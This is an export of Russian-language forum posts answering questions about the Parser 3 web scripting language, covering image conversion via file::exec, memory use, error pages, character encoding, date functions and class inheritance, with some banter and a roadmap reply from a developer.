На C я к сожалению не пишу, только Java."
"46889","Переименовал nconvert в nconvert_real\
Создал в этой директории новый файл nconvert с осдержимым:\
[code]\
#!/bin/sh\
\
echo content-type:text/plain\
echo\
nconvert_real 2>&1\
echo done\
[/code]\
\
Запустил файл с кодом:\
\
[code]\
$f[^file::exec[cgi-bin/nconvert;;-help]]\
<pre>$f.text</pre>\
[/code]\
\
ответ сервера:\
[code]\
0\
content-type:text/plain\
\
done\
[/code]\
\
Вроде ответ корректный, или я ошибаюсь? :)"
"46890","и запустите что-нибудь полезное, чтобы что-нибудь от-resiz-ил что-ли :)"
"46891","Это хорошо, что вы видите эфективность введения такого поведения селекта. Потомучто рядом сидит счастливый поьзователь.\
\
Но если ориентироваться на более широкую аудиторию, то без предупреждений такие изменения лучше не делать. Я имею ввиду что пользователь должен знать заранее что вот если он здесь чегото выберет, то фокус перепрыгнет."
"46893","Зачем файлы сохранять на диск?\
[code]\
^donor.save[donor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]\
$donor[]\
\
^acceptor.save[acceptor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]\
$acceptor[]\
[/code]\
\
И загружать снова?\
[code]\
$donor[^table::load[donor_tab.cfg]]\
$acceptor[^table::load[acceptor_tab.cfg]]\
[/code]\
\
Думаю, что так будет лучше:\
[code]\
$donor[^donor.string[donor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]]\
\
$acceptor[^acceptor.string[acceptor_tab.cfg;\
    $.method[text] \
    $.indent[no]\
    $.omit-xml-declaration[yes]\
]]\
[/code]\
\
И не каких файлов ;)\
\
[b]Я не уверен, но мне кажется, что проще будет из двух документов сделать один и написать XML->XML преобразование, которое вернёт точно то, что нужно. Ведь задача - выборка по дереву (XPath).[/b]"
"46894","А что там про поправки-на-нули?"
"46895","Но нельзя ли привести реальный пример как отресайзить, с пояснением.\
А то я буду до вечера эксперементировать и врядли до чего дойду."
"46896","Я говорил что код не претендует на оптимальность.\
\
Со всеми вашими замечаниями согласен."
"46897","В определенной форме такое поведение видел не однократно на сайтах компаний связи (verizon.com и т.д.). \
Очень часто применятся при вводе телефонного номера на сайтах, а когда не применятеся прямо скажем не удобно."
"46898","Скачал Parser 3.1.4 для Win32\
Во время установки выдает ошибку:\
\
Невозможно записать C:\\windows\\system32\\msvcr71.dll\
\
Что бы это значило?"
"46899","[code]^list.menu{\
$resize[^file::exec[/nconvert;;-o;$env:DOCUMENT_ROOT/12/$list.name;-rmeta;-ratio;-q;80;-resize;100;$env:DOCUMENT_ROOT/12/big/$list.name]]\
} [/code]"
"46900","1. У Вас нет админских прав\
2. Он (msvcr71.dll)особенно и не нужен, т.к. уже есть в системе и Вы не можете переписать его"
"46901","Я не говорю что это не удобно вообще.\
\
Если пользователь не использует таб для переходя в следующее поле, то такая функциональность селекта избавляет его от лишнего клика.\
\
Если пользователь привык пользоваться табом - то он автоматически нажмет таб и попадет не на следующее поле, а на через следующее и тогда ему прийдется брать мыш и возвращать фокус на нужное место.\
\
В общем случае, когда пользователи могут быть разными, лучше этого не делать. А если все таки и делать, то для пользователя такое поведение не должно быть сюрпризом(!)."
"46903","У меня nconvert лежит в папке bin\
файл запускаю со следующим кодом:\
[code]$test[^file::exec[/bin/nconvert;;-o;/test.jpg;-rmeta;-ratio;-q;80;-resize;100;/1/test.jpg]][/code]\
результат - чистый экран, файл без изменений."
"46904","Кстати, у меня [b]без[/b] [code]$env:DOCUMENT_ROOT[/code] отказывается работать и локально под виндой, и на серваке под Линуксом."
"46905","может поможешь в режиме онлайн?\
Есть у тебя ася?\
Если сможешь, кинь номер на мыло braun@ua.fm\
только в теме напиши типа Parser, а то спамфильтр отфильтрует."
"46906","[quot]Если пользователь привык пользоваться табом - то он автоматически нажмет таб и попадет не на следующее поле, а на через следующее и тогда ему прийдется брать мыш и возвращать фокус на нужное место.[/quot]\
такой пользователь не полезет на мышу - он предпочтет Shift+Tab, а мышЫным пользователям по-безразницы..."
"46907","..., ибо каждое нажатие Up/Down итд (кроме Alt+Down) приводят к onChange и переводу фокуса на другое поле Ж-)"
"46908","Это конечно интересное дело, но я остаюсь поклонником БД.\
А для народа пойдет, если хорошо сделаете, только другой вопрос: оптимальнее чем сделали другие врядли получиться. Все таки монстры делали уже много лет и мног вресий, и под больие бюджеты. Хотя начинать делать что-то подобное опен-сурс на Парсере конечно надо."
"46909","Подключать опционально в настройках."
"46910","наконец добился какого то результата\
запрос $file.stderr выда ошибку:\
\
/libexec/ld-elf.so.1: /home/coralclu/public_html/wap/bin/nconvert: Shared object has no run-time symbol table\
\
надеюсь Вам это понятно? :)"
"46911","наконец добился какого то результата\
запрос $file.stderr выда ошибку:\
\
/libexec/ld-elf.so.1: /home/coralclu/public_html/wap/bin/nconvert: Shared object has no run-time symbol table\
\
надеюсь Вам это понятно? :)"
"46912","http://www.parser.ru/forum/?id=9724"
"46913","заработало.\
1. Действительно обязательно писать путь с ${env:DOCUMENT_ROOT}\
2. Зливать файл в бинарном виде.\
3. Внмательно смотреть какая система стоит на серваке (я скачал nconvert под Линух, а мой хостер перешел на FreeBSD, а я и не знал... :))))  )"
"46914","пути нужно передавать дисковые абсолютные (от корня диска, не от корня веб-пространства).\
\
сейчас должна выдаваться ошибка."
"46915","Пользователь должен знать, что он контролирует процесс.\
Если что то происходит внезапно, неожиданно, он неосознанно задает себе вопрос, а чего мне есче ожидать от этой формы?\
\
\
Представте ситуацию, когда пользователь заполнил 20-30 форм. Привык к лафе.\
А через какоето время ему необходимо заполнить другую форму (в другом месте), в которой есть селект с парой сотен строк. Он может автоматически забыть перевести фокус (табом или мышкой) и начнет вводить какой-то там текст. А потом выяснится, что он ввел еего не туда и ...\
\
Догодайтесь, кого пользователь будет вспоминать злыми словами?"
"46917","можно трясти хостера"
"46918","Время от времени на хостинге грохаются таблички и парсер выдает ошибку что, не mysql не может открыть файл [табличка].MYD.\
Проблему решаю пересозданием таблички.\
Любопытно что грохаются таблички, в которые больше добавляются и иногда считываются данные (статистика).\
Проблема возникала только на парсере?"
"46920","может и не нужно грохать.\
\
это проблема вашего админа, не ваша."
"46921","(На английском)\
\
[url=\"http://www.shipko.com.ua/docs/ms_xml_5.0.chm\"]ms_xml_5.0.chm[/url]"
"46924","SpyLog, Hotlog и иже с ними могут распродавать мебель. Google купил навороченный сервис по анализу посетителей сайтов у Urchin и сделал его бесплатным. \
\
Регистрироваться тут: http://www.google.com/analytics/ Для регистрации нужен Google Account. Требуется внести три строки на JavaScript в код страниц и подождать 12 часов для составления первых отчётов."
"46925","На форуме не нашел, может быть коряво искал.\
Есть функция. Делает хеш. Должна возвратить в основную программу хеш со значениями:\
[code]\
@Func[]\
$UserInfo[\
$.u_auth[$Result.u_auth]\
$.u_name[$Result.u_name]\
$.u_mail[$Result.u_mail]\
$.u_password[$Result.u_password]\
$.u_string[$Result.u_string]\
]\
$UserInfo\
[/code]\
\
В основной программе хеш принимает значение:\
[code]$Info[^hash::create[_Auth:Authorized[]]][/code]\
И пытается печатать один из ключей\
[code]$UserInfo.u_name[/code]\
Только ничего не печатает\
Где есть ошибка?"
"46926","Думается что основная причина отсутствие видимости хеша."
"46927","Судя по скачиваемому яваскрипту, который ни много ни мало весит 17 Кб и качается каждый раз при заходе на страницу (не кешируется), весь расчёт статистики ведётся на стороне клиента.\
\
P.S. Очень важное значение имеет расположение скрипта. Если у вас IE и вы поставили счётвик вверх страницы и вдруг обвалился канал до гугля. То вы не дождётесь окончания загрузки страницы."
"46928","[code]@func[]\
$result[\
    $.1(1)\
    $.2(2)\
][/code]"
"46929","http://www.raleigh.ru/XML/XSLTutorial/contents.htm - XSLT в примерах\
\
http://xml.nsu.ru/ - Школ Консорциума W3C (семейство XML)\
\
Очень доступно все изложено - учебник."
"46930","первую добавил, вторую - нет, т.к. не смог оценить полезность рессурса (в моем броузере он нормально не работает)"
"46932","сразу заценишь :)"
"46933","\"premature end of script heades\" = преждевременный конец ударов головой подлинника\
\
(c) translate.ru"
"46934","End of file encountered while parsing = Конец файла, с которым сталкиваются, разбирая\
\
ИЛИ \
Multiple Domain Hosting = Многократное Оказание гостеприимства Области "
"46935","differential front end - дифференциальный передний конец.\
\
(с)prompt (не помню какой версии)"
"46936","http://www.government.gov.ru/search/search.html?query=%F7%E5%F1%F2%ED%EE%F1%F2%FC%2C+%F1%EE%E2%E5%F1%F2%FC%2C+%EF%EE%F0%FF%E4%EE%F7%ED%EE%F1%F2%FC&page=1&book=0&he_id=38&pres_he_id=38"
"46938","I love you baby -- Я люблю вас, бабы!\
Can You hear me? -- Ты можешь меня здесь?\
I have been there -- У меня там фасоль\
God only knows -- Единственный нос бога\
We are the champions -- Мы шампиньоны\
Bye bye baby, baby good bye -- Купи купи ребенка, ребенок хорошая покупка\
I will never give up -- Меня никогда не тошнит\
Oh, dear -- Ах, олень.\
I'm going to make you mine -- Я иду копать тебе шахту\
Finnish people -- Конченые люди\
Let's have a party -- Давайте организуем партию\
Press space bar to continue -- Космический бар прессы продолжает\
I've just saw your balance sheet -- Видел я ваш баланс... так себе баланс"
"46939","Здравствуйте, может кто-нибудь уже сталкивался с подобным.\
\
Хочу назначить свою страницу 404 ошибки.\
\
В .htaccess файле в корне сайта пишу строку:\
ErrorDocument 404 /404.html\
\
В самом главном auto.p для обработки несуществующих html файлов пишу такое:\
^if($exception.type eq 'file.missing' && !$stack){\
        $exception.handled(1)\
        $response:location[/404/]\
}{..прочие условия}\
\
Все это отрабатывает только в Firefox, Opera.\
\
В [b]Internet Explorer[/b] срабатывает ТОЛЬКО обработчик парсера на несуществующие html страницы. Другие варианты, например, просто произвольная строка (www.mysite.com/asdfasdf), файлы с отличным от html расширением(www.mysite.com/asdfasdf.php) не обрабатываются (сервер их почему-то не обрабатывает), и IE выдает свою стандартную \"File not found.... Try the following...\"\
\
Служба поддержки хостиноговой компании посоветовала использовать mod_rewrite, но этот механизм мне показался чрезмерно громоздким и сложноватым, запутаю только себя и сервер.\
\
Поэтому у меня вчера появилась идея все отдавать на съедение парсеру, а уже там рузруливать. [b]Такой вопрос[/b]: можно ли установить парсер обработчиком не только на html страницы, но и на страницы с любым расширением, а также на файлы без расширения (т.е. чтобы отлавливать такое: www.mysite.com/asdfasdf)?\
\
Или может есть какие-то иные варианты? Подскажите пожалуйста, я уже всех в службе поддержки достал, но mod_rewrite не хочется использовать.\
\
Буду очень благодарен, Дмитрий."
"46941","написано \"добавьте к вашему сообщению\"\
\
но мое сообщение... где оно?\
\
код UE в auto.p выглядит так:\
\
[code]\
@unhandled_exception[exception;stack]\
^if($exception.type eq 'file.missing' && !$stack){\
   $exception.handled(1)\
   $response:location[/404/]\
}{\
   ^unhandled_exception_release[$exception;$stack]\
}\
[/code]\
\
ошибки на .html файлы у меня отрабатываются нормально в MSIE.\
а вот с другими расширениями или без расширения - проблема. к парсеру же все это не доходит, он же НЕ обрабатывает их...\
\
или что-то не понимаю?"
"46942","вероятно, сейчас у вас там выдаётся небольшая страничка, нужно её увеличить, чтобы пройти порог, до которого MSIE считает, что сообщение об ошибке непонятное и подменяет его на своё."
"46944","Здравствуйте. Стоит парсер на апаче на windows. Где лежат логи парсера, если в папке с парсером их нет?"
"46945","Можно где-нибудь посмотреть на админку?"
"46946","при многократном обращении к методу ^str.length[]: \
- регулярно вызывать ^строка.length[] \
- записать ее в $str_lengh(^str.length[])\
\
какой вариант более производительный, понятно, что это мелочь, вопрос интересен принципиально. С точки зрения читаемости кода - особой разницы не вижу..."
"46947","Скорее всего Апач не имеет права записи в тот каталог, где лежит Парсер."
"46948","с локальной переменной немного быстрее, но лучше нез оной =)\
\
P.S. пользуясь случаем передаю привет sm@lex-у"
"46949","Народ! общими усилиями (вы и я ) был написан еще 1 сайт на парсере - посмотрите и скажите, что вам не нравится - чо надо изменить (это еще демо и требует доработки - выложил для заказчика)\
админка в /admin/\
авторизация:\
login: forestgamp\
pwd: Gambit\
\
}{очу услышать критику!"
"46950","Чтобы посмотреть - надо знать его адрес."
"46951","кстати - линк забыл дать, хаха!\
Да, и заодно объясните такой глюк: почему в ie все нормально отображается, а ff съедает пол-заголовка?"
"46953","[code]\
#Из SQL таблицы забирается 1350 строк данных\
$test[^pSQL.table{...}]\
#--> memory:used = 5224\
^getTest[$test]\
#--> memory:used = 23804\
$test[]\
^memory:compact[]\
#--> memory:used = 20804\
\
# Каждый вывоз getTest2 потребляет в среднем 10 килобайт.\
\
\
\
@getTest[test][loc]\
#--> memory:used = 5230\
^test.menu{\
	$loc[^getTest2[$test.any_field]]\
}\
#--> memory:used = 23804\
\
@getTest2[]\
^if(1==1){$result(1)}\
[/code]"
"46954","http://www.micex.ru/f/1/pubdocs/publication_41.pdf"
"46955","Действительно, страничку нужно было немного увеличить в объеме)"
"46956","поскольку так ошибки попадают в apache-евский error_log соответствующего virtualhost и логи ошибок \"прокручиваются\"."
"46957","наверное с NYT примерно так же похожи, как то с текущим :)"
"46958","поэтому накладной расход только на вызов метода = копейки.\
\
может потихоньку заняться properties для системных классов?\
с большой буквы..."
"46959","или \"строки данных\" не содержат ничего?"
"46960","А ежели хочется отдельно, то можно все это писать в отдельную SQL таблицу, как это сделал я в одном из заказов :)"
"46963","Если сохранить в файл, то там 80 килобайт данных, раскрываемых парсером в 5 мегабайт. Это ладно.\
С 10 килобайтами на вызов getTest2 еще можно смириться.\
Но почему после явного обнуления таблицы и использовании локальной переменной в памяти висят 20 мегабайт?\
\
Тест синтетический - в реальном коде на этом месте идет заскок за 50-60 мегабайт, который жутко не нравится хостеру."
"46965","а насчёт 80K->5M, если можно, конкретный bug.html, посмотрю"
"46966","после выполнения метода @getTest[] на выходе получается строка с пробельными символами, причем не маленькая. можно попробовать записать в одну строку:\
[code]^test.menu{$loc[^getTest2[$test.any_field]]}[/code]\
или выдать в конце $result[], тогда после ^memory:compact[] эта память должна собраться. хотя в любом случае рост потребления с 5М до 23 - крутовато.\
\
ещё можно попробовать модифицировать @getTest2[]:\
[code]$result(1=1)[/code]\
\
и это... вы уверены что 10 КБ потребляет именно каждый вызов getTest2? если вы меряете после каждого вызова, то ваш метод проводящий эти измерения тоже что-то должен потреблять... попробуйте вызвать его по 100 раз (в цикле без пробелов) и проводить измерения после каждой сотни."
"46974","Я щас новость написал, отослал. Потом сделал рефреш страницы и эта нвость добавилась еще раз. В общем надо обнулять форму после отправки новости.\
Ну и сделай 404 ошибку свою.\
Дальше лень копаться..."
"46975","http://blogs.yandex.ru/search.xml?how=tm&rd=2&text=Imprimatur"
"46976","просто админу нужна была вся инфа в админке"
"46977","В гостевой надпись \"нет электронного адреса\" имхо лишняя, лучше вообще ни чего не выводить. И не смог оставить сообщения.\
Незнаю как в IE у меня в Konqueror в заголовке только надпись АктивКом на фоне двух машин, должно-ли быть ещё что-то???\
Что такое :[quot]авторизация:\
login: forestgamp\
pwd: Gambit[/quot]я ненашёл такой формы :))"
"46979","на всех страницах справо и слево от текста нехватает светлого фона (получается крыша с карнизом и лодка с бортами)"
"46982","Как обратится к переменной из класса $form с именем ${str_var}_suffix?\
\
\
Дано: Группы полей формы обрабатываются соместно, имена полей состоят из 2 частей: [i]имяГруппы_стандартрыйСуффикс[/i].\
\
Задача: выбрать из формы неободимые поля по имени группы и суффиксу.\
\
Пример: \
Существуют поля сгенерированные $form:test_day, $form:test_month, etc.\
В данном случае имя группы - test, суффиксы - _day, _month, etc\
\
$str_var[test]\
$suffix[_day]\
$str_var_with_suffix[test$suffix]\
\
Конструкция $form:${str_var}_day не работает, в отличие от $form:$str_var_with_suffix.\
\
Использование ^form:fields.foreach + ^match считаю неоправданным.\
\
Есть ли решения, отличные от создания нескольких переменных по формуле $str_var_with_suffix[test$suffix]?"
"46984","так правильнее:\
\
--\
Как обратится к переменной из класса $form с именем ${str_var}_suffix?\
\
Дано: Поля формы объединяются в группы  и обрабатываются совместно. \
Имена полей состоят из 2 частей: имяГруппы_суффикс.\
\
Задача: выбрать из формы необходимые поля по имени группы и суффиксу.\
\
Пример: \
Существуют поля $form:test_day, $form:test_month, etc.\
Т.е. в данном случае имя группы - test, суффиксы - _day, _month, etc\
\
[code]\
$str_var[test]\
$suffix[_day]\
$str_var_with_suffix[test$suffix]\
[/code]\
\
Конструкция $form:${str_var}_day не работает, в отличие от $form:$str_var_with_suffix.\
\
Использование ^form:fields.foreach + ^match считаю неоправданным.\
\
Есть ли решения, отличные от создания нескольких переменных по формуле $str_var_with_suffix[test$suffix]?"
"46987","радость случилась и на одном из наших проектов.\
там .cgi\
\
у нас дело было просто:\
* по cron запустился процесс, который записал в hashfile и продолжал работать (hashfile не закрывал)\
* очередной запрос захотел что-то считать, и не смог: принялся ожидать, как hashfile разблокируют: process STATE стал lockf.\
\
или:\
* по cron запустился процесс, который читал hashfile и продолжал работать (hashfile не закрывал)\
* очередной запрос захотел что-то записать, и не смог: принялся ожидать, как hashfile разблокируют: process STATE стал lockf.\
\
выход:\
[code]\
$hash[^hashfile::open[hf]]\
#клонируем hashfile в память\
#если в него потом будут записывать, эти данные на диск не попадут\
$hash[^hash::create[$hash]]\
#т.к. hashfile тут уже не лежит ни в одной переменной,\
#сборщик мусора его соберёт, файл закроется и lock снимется\
^memory:compact[]\
[/code]"
"46989","как сделать обнуление фрмы после отправки?"
"46990","на фоне 2 машин пока ничо не стоит,хотя в будущем поставлю\
я сказал к чему пароль и логин - читайте лучне - к админке - /admin/ от корня веб пространства"
"46991","Мелочь, но может кому-то и пригодится...\
\
Условие из ^is_leap_year можно сразу вставить в ^days_per_month, но решил вынести в отдельный метод для лучшей наглядности.\
\
[code]\
# Parameters: year is natural number, month is int 1..12.\
# Result is number of days at a month (int).\
@days_per_month[month;year][_days_per_month]\
^if($month == 2 && ^is_leap_year[$year]){\
	$result(29)\
}{\
	$_days_per_month[\
		$.1(31)\
		$.2(28)\
		$.3(31)\
		$.4(30)\
		$.5(31)\
		$.6(30)\
		$.7(31)\
		$.8(31)\
		$.9(30)\
		$.10(31)\
		$.11(30)\
		$.12(31)\
	]\
	$result($_days_per_month.$month)\
}\
\
# Parameter (year) is natural number, result is bool.\
# Returns true if year is leap, else false.\
@is_leap_year[year]\
$result(($year&3) == 0 && $year%100 != 0 || $year%400 == 0)\
[/code]\
\
Keywords: високосный год, дней в месяце, дней в феврале."
"46992","В разделе \"документация\" http://www.parser.ru/en/docs/ сообщение\
[quot]\
...\
[x] Print as image \
...\
[/quot]\
\
написано по-русски."
"46993","[code]\
# Parameters: year is natural number, month is int 1..12.\
# Result is number of days at a month (int).\
@days_per_month[month;year]\
^if($month == 2 && ^is_leap_year[$year]){\
	$result(29)\
}{\
	^switch($month){\
		^case(1;3;5;7;10;12){$result(31)}\
		^case(2){$result(28)}\
		^case(4;6;9;11){$result(30)}\
	}\
}\
\
# Parameter (year) is natural number, result is bool.\
# Returns true if year is leap, else false.\
@is_leap_year[year]\
$result(($year&3) == 0 && $year%100 != 0 || $year%400 == 0)\
[/code]"
"46994","В начале каждой страницы, которая может быть запрощена с параметрами, я обычно вставляю:\
\
[code]\
$_GET[$form:fields]\
[/code]\
\
Потом со всем, что пришло к нам в виде параметра запроса (не суть важно каким методом: POST или GET), можно работать как с простым хэшем. Ну это, собственно, и есть хэш :) Получается довольно удобно, имхо:\
\
[code]\
$_GET[$form:fields]\
.....\
^if($_GET.command eq \"format\"){...}\
....\
Номер: ^_GET.param.int[]\
...\
и т.д.\
[/code]\
\
\
Некоторая заморока с checkbox'ами, но $form:tables никто не отменял."
"46995","Думаю, найти было не проблема\
http://www.micex.ru/f/1/pubdocs/\
Можно гулять где хочешь :)"
"46997","Местами помогло.\
До memory:compact 18250\
После 10270."
"46998","Я зашел на сайт через Oper'у, я понял твою задумку, так как тупой браузер непонимает строки в CSS=> тебе нужно добавить следующие строки:[code]<body bgcolor=\"#959688\" text=\"#FFFFFF\" link=\"#DBDBDB\" vlink=\"#85086F\" bottommargin=\"0\" leftmargin=\"0\" marginheight=\"0\" marginwidth=\"0\" rightmargin=\"0\" topmargin=\"0\">[/code]\
В самый верх добавь строку: [code]<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\
\"http://www.w3.org/TR/html4/loose.dtd\">[/code]"
"47001","впечаляет то, как под наплывом он лежал сутки, а познее стал очень сильно врать"
"47002","Как вызвать класс когда его имя хранится в MySQL?\
Помогите плз!"
"47003","Новость вся в одну строку, ну хоть какоето форматирование должно остаться?\
хотя б перевод строки.\
Отослал файлик и незнаю результата, сервер его получил? кста там скрин с сайта, очень интересно.\
В объявах куда фотку совать, иногда надо показать товар лицом, одного описания маловато"
"47005","Просто нужно еще padding обнулить."
"47006","Подключится к MySQL. Сделать запрос к таблице, к определённой колонке. Взять название файла и подключить его...\
\
[i]P.S. Может быть я не так Вас понял. Если что распишите подробнее Вашу ситуацию.[/i]"
"47007","Страница:\
[code]http://host/test/[/code]\
Содержание:\
[code]\
$form:query\
[/code]\
\
1. Запрос http://host/test/?query=X\
Результат: X\
[i]Примечание: X - английская буква.[/i]\
\
2. Запрос http://host/test/?query=А (браузер преобразует в .../?query=%D0%90)\
Результат: Рђ\
[i]Примечание: А - русская буква.[/i]\
\
[b]Вопрос.[/b]\
Дело в Parser'е?\
\
P.S. В Windows'е и Linux'е одинаково..."
"47010","Ситуация такая: В базе хранится текст, HTML и скажем парсеровский код.\
Первые два - выдать юзеру не проблема,\
А как заставить парсер обработать свой же код полученный из базы.\
Или скажем так - есть имя класса в базе - как заставить парсер подключить этот класс?"
"47011","ак сделать следующе:\
\
в базе храниться:\
\
2 + 2 = ^eval(2+2)\
\
Нужно получить в HTML: 2 + 2 = 4 пробовал по всякому полчаю \
2 + 2 = ^eval(2+2)"
"47012","Разберитесь, что вы хотите сделать и переформулируйте вопрос."
"47013","Берете назваие класа (не важно от куда: из базы или из файла)\
[code]\
$name_of_class_file[my_class.p]\
[/code]\
\
...и просто подключаете его:\
[code]\
^use[$name_of_class_file]\
[/code]\
\
P.S.\
Кстати, [url=\"http://www.parser.ru/docs/lang/opuse.htm\"]в документации[/url] это все есть.\
А если вы хотите выполнить Парсеровский код взятый из базы, то воспользуйтесь оператором ^process{код_Парсера_из_базы}"
"47014","[code]\
@days_per_month[month;year]\
^if($month%2 !|| $month\\8){\
  $result(31)\
}{\
  ^if($month == 2){\
    ^if(^is_leap_year[$year]){$result(29)}{$result(28)}\
  }{\
    $result(30)\
  }\
}\
[/code]\
\
Замеры показали экономию памяти и времени примерно на 300%."
"47016","Спасибо\
$text.text_data[^eval(2+2)]\
^if(def $text.text_data ){ ^process{$text.text_data} }{Ошибка получения данных из базы данных. Фатальная ошибка. Все... (((( }\
\
Работает"
"47019","http://www.parser.ru/forum/?id=43889, но это не обязательно глобально.\
\
+ Я использую mod_rewrite, в ?uri= содержится полный запрос. Это поле в $form:fields для меня совершенно лишнее, поэтому делаю глобальный formFields, в котором его нет."
"47020","Задумался о том, как отредактировать определённую строку в файле с помощью скрипта на Парсере. Или допустим найти определённую строку и после неё добавить какую-то информацию.\
Кто-нибудь сталкивался с таким?\
\
\
[b]Пример.[/b]\
Имеется скрипт dbconnect.p\
Содержание примерно такое:\
[code]\
@dbconnect[]\
$SQL.connect-string[mysql://LOGIN:PASSWORD@HOST/BASE?charset=CHARSER]\
$MAIN:pSQL[^mysql::init[$SQL.connect-string;$.is_debug(1)]]\
[/code]\
Вот нужно открыть этот файл и изменить вторую строку, содержание $SQL.connect-string[...], НО так чтобы всё остальное осталось как прежде.\
Или допустим после $MAIN:pSQL[...] добавить ещё какой-нибудь код.\
\
[i]P.S. Только это должен быть не файл-менеджер.[/i]"
"47023","[quote]^case(1;3;5;7;10;12){$result(31)}[/quote]\
Надо еще 8 месяц добавить"
"47024","Наверное, как-нибудь так:\
\
[code]\
$file[^table::load[nameless][/path/to/file.p]]\
$new_file[^table::create[nameless]{}]\
^file.menu{\
  ^if(^file.line[] == 2){\
    ^new_file.append{Новая, изменненная строка}\
  }{\
    ^new_file.append{$file.0}\
  }\
}\
^new_file.save[/path/to/file.p]\
[/code]\
\
Но это все изврат. Как я понимаю, Вам нужно из визуального интерфейса сохранять логин, пароль и т.д. для подключения к базе?.. Проще сохранять эту информацию допустим в таблицу на диске, а при создании коннекта выбирать из нее данные:\
\
[code]\
$sql-settings[^table::load[/path/to/sql-settings/file.cfg]]\
$SQL.connect-string[mysql://${sql-settings.user}:${sql-settings.password}@${sql-settings.host}/${sql-settings.base}?charset=${sql-settings.charset}]\
[/code]\
\
P.S. Естественно к файлу с паролями не должно быть доступа извне :)"
"47025","...задача немного другая. Можно ли искать строки в файле и изменять их содержание?"
"47026","Это же надо так назвать было :( $request:query   - знаю, а $form:query ввело в ступор просто. Обыскался в документации этого синтаксиса :/"
"47027","Но чем больше файл, тем больше памяти придется тратить на изменение строки. Просто так изменить не получится. Только через ^string.replace[] или ^string.match[], а в остальном — только работа с nameless таблицей... Как еще — не знаю."
"47028","обычно браузер преобразует текст запроса в urlencoded, используя ту кодировку в которой пришел ответ сервера ($response:charset)\
\
парсер преобразует данные пришедшие от браузера из urlencoded в нормальное представление, используя опять-же ту кодировку, которая задана в $response:charset\
\
в вашем случае ответ приходит в urlencoded UTF-8, а в $response:charset у вас что-то другое (допустим windows-1251), парсер берет таблицу с шарсетом windows-1251 и перекодирует по ней, получается Рђ\
\
почему ответ приходит в UTF-8 непонятно... это не referer от поисковика случайно? :)"
"47029","т.к. високосным является каждый 4-й год, кроме тех, которые без отстатка делятся на 100 и [i]не делятся[/i] на 400.\
\
Например, в 1900 году в феврале было 28 дней, а в феврале 2000-го было уже 29 дней.\
\
\
P.S. Условие из метода ^is_leap_year позаимствовано мной из книги \"The C Programming Language\" by Brian W. Kernighan, Dennis Ritchie, Dennis M. Ritchie :)"
"47030","Интересно, что скажет Misha v.3? :)\
Может добавить в примеры или просто как-то зафиксировать на форуме с ключевыми словами?\
\
[code]\
# Parameters: year is natural number, month is int 1..12.\
# Result is number of days at a month (int).\
@days_per_month[month;year]\
^if($month%2 !|| $month\\8){\
	$result(31)\
}{\
	^if($month == 2){\
    		^if(^is_leap_year[$year]){\
    	    		$result(29)\
    		}{\
    			$result(28)\
    		}\
	}{\
    		$result(30)\
	}\
}\
\
# Parameter (year) is natural number, result is bool.\
# Returns true if year is leap, else false.\
@is_leap_year[year]\
$result(($year&3) == 0 && $year%100 != 0 || $year%400 == 0)\
[/code]"
"47032","http://lleo.aha.ru/dnevnik/2005-09-19.shtml"
"47033","Мощнейшее произведение."
"47035","имеется родительский класс, в котором процедура @procedure вызывает другую процедуру @sub[]\
\
@CLASS \
parent\
\
@procedure[]\
... ^sub[] ...\
\
@sub[]\
старая процедура\
\
\
делаем дочерный класс и переопределяем @sub[]\
\
@CLASS\
child\
@BASE\
parent\
@USE\
.../parent.p\
@sub[]\
новая процедура\
\
\
Где-нибудь создаем объект класса дочернего класса child и вызываем процедуру procedure:\
\
^child:procedure[]\
\
Вместо того, чтобы вызвать новую (переопределенную) процедуру @sub[] вызывается старая процедура из родительского класса.\
\
Как сделать так, чтобы вызывалась новая (переопределенная) процедура из дочернего класса?\
\
Прошу прощения, если чего-то не понимаю\
\
P.S. способ нашел, но не оставляет впечатление, что что-то я делаю не так"
"47036","Уж коли вы создали объект класса child\
[code]$object[^child::create[]][/code]\
то вызов метода должен быть:\
[code]^object.procedure[][/code]\
Вы же пытаетесть вызвать статический метод."
"47037","Я таким образом оформляю библиотеки -\
\
например, все, что касается работы с почтой \"пакуется\" в класс, вроде:\
\
в MYMAIL.P\
-------------------------------------\
@CLASS\
MYMAIL\
\
@check[]\
...\
@send[]\
...\
----------------------------------\
\
И вызываю именно так:\
\
где-нибудь на сайте:\
------------------------\
@USE\
MYMAIL.P\
\
^MYMAIL:check[]\
^MYMAIL:send[]\
\
и т.п.\
\
Т.е. оформляю в виде класса библиотеку для работы с единственным объектом - \"почта\", \"форум\" и т.д.\
\
Но в каждом проекте вносятся свои правки, и хочется сделать набор базовых классов с возможностью их переопределения для каждого проекта, при необходимости. Вот тут и возникает проблема с переопределением методов."
"47038","Уважаемые разработчики, Вы создали великолепный инструмент,\
хочу спросить - какие у вас планы по дальнейшему развитию парсера?\
\
- Последняя новость с планированием обновления 3.2.0 была в июне; \
- На сайте парсера объявление о том, что Ваша студия набирает .NET программистов.\
\
Возникает опасение, не планируете ли Вы прекратить дальшейшее развитие parser-а?\
\
Развейте опасения, пожалуйста :)"
"47042","нельзя в URL использовать русские буквы (читайте документацию по HTTP, раздел Полезные ссылки).\
\
MSIE \
Tools|Options... Advanced... Browsing/\
[x] Always send URLs as UTF-8\
\
если это включено, вы всегда получите UTF-8.\
в остальных браузерах: гадайте сами:\
нарушая стандарт вы путаете себя и браузера.\
\
вывод:\
почитать про \
[code]^untaint[uri]{...}[/code]"
"47043","сами строки дважды не хранятся.\
в данном случае накладные расходы только на сам hash, не на ключи и данные в нём."
"47044","было\
[code]\
^if(^is_leap_year[$year]){\
    $result(29)\
}{\
    $result(28)\
}\
[/code]\
\
стало:\
[code]\
$result(^if(^is_leap_year($year))(29;28))\
[/code]"
"47045","сейчас напряжённая текучка снялась (пальцы XX),\
могли сами заметить:\
http://www.parser.ru/forum/?terms=fixed&search_in_message=1&author=paf&doSearch=1\
\
3.1.5\
войдёт поддержка mime64 и ещё десяток исправлений и мелочей.\
\
не войдёт поддержка работы с sockets.\
(я готов принять реализацию той схемы, что была обсуждена в форуме)\
\
3.2.0 \
properties (уже писал).\
\
+соберём с последними версиями xml библиотек, отключим перестраховочные механизмы, внедрённые из-за ошибок в xml библиотеках по работе с памятью, xml операции будут опять занимать столько памяти, сколько занимали в 3.1.3.\
\
\
